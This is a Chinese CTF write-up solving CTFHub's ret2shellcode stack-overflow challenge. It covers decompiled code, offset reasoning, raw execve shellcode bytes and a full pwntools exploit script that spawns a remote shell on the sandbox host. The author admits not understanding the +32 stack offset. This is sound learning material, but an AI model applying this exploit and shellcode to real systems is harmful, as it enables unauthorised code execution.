1. 检查文件安全保护

image-20211115193016918

NX没开,可以执行shellcode,PIE没开,地址固定

  1. ida打开文件
int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 buf; // [rsp+0h] [rbp-10h]
  __int64 v5; // [rsp+8h] [rbp-8h]

  buf = 0LL;
  v5 = 0LL;
  setvbuf(_bss_start, 0LL, 1, 0LL);
  puts("Welcome to CTFHub ret2shellcode!");
  printf("What is it : [%p] ?\n", &buf, 0LL, 0LL);  \\打印出了buf在栈的地址
  puts("Input someting : ");
  read(0, &buf, 0x400uLL);  \\溢出点在这
  return 0;
}

​ 显然在read处有溢出

​ [rsp+0h] [rbp-10h]可知buf与返回地址偏移量为0x10,可用空间为16(0x10)+8(地址)=24字节 不足以容纳shellcode,所以把它放在后面,需要一层跳板,编写payload:

'a'*24+[buf_addr+32]+shellcode

buf-addr固定给出,

32是平衡栈帧:24垃圾数据+buf_addr(不太懂,先这么记着)

shellcode可以通过asm(shellcraft.sh())得到 (四十多字节)

也可以直接使用

"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
  1. exp:

    from pwn import *
    
    host = 'challenge-73515f640e7d1aa5.sandbox.ctfhub.com'
    port = 36434
    
    #p = process('./ret2shellcode')
    p = connect(host,port)
    p.recvuntil('[')
    buf_addr = p.recvuntil(']', drop=True) # 获取buf地址
    # print buf_addr
    p.recvuntil('Input someting : ') # 执行直到出现这句话
    shell="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
    p.sendline('a'*24 + p64(int(buf_addr,16)+32) + shell)
    p.interactive()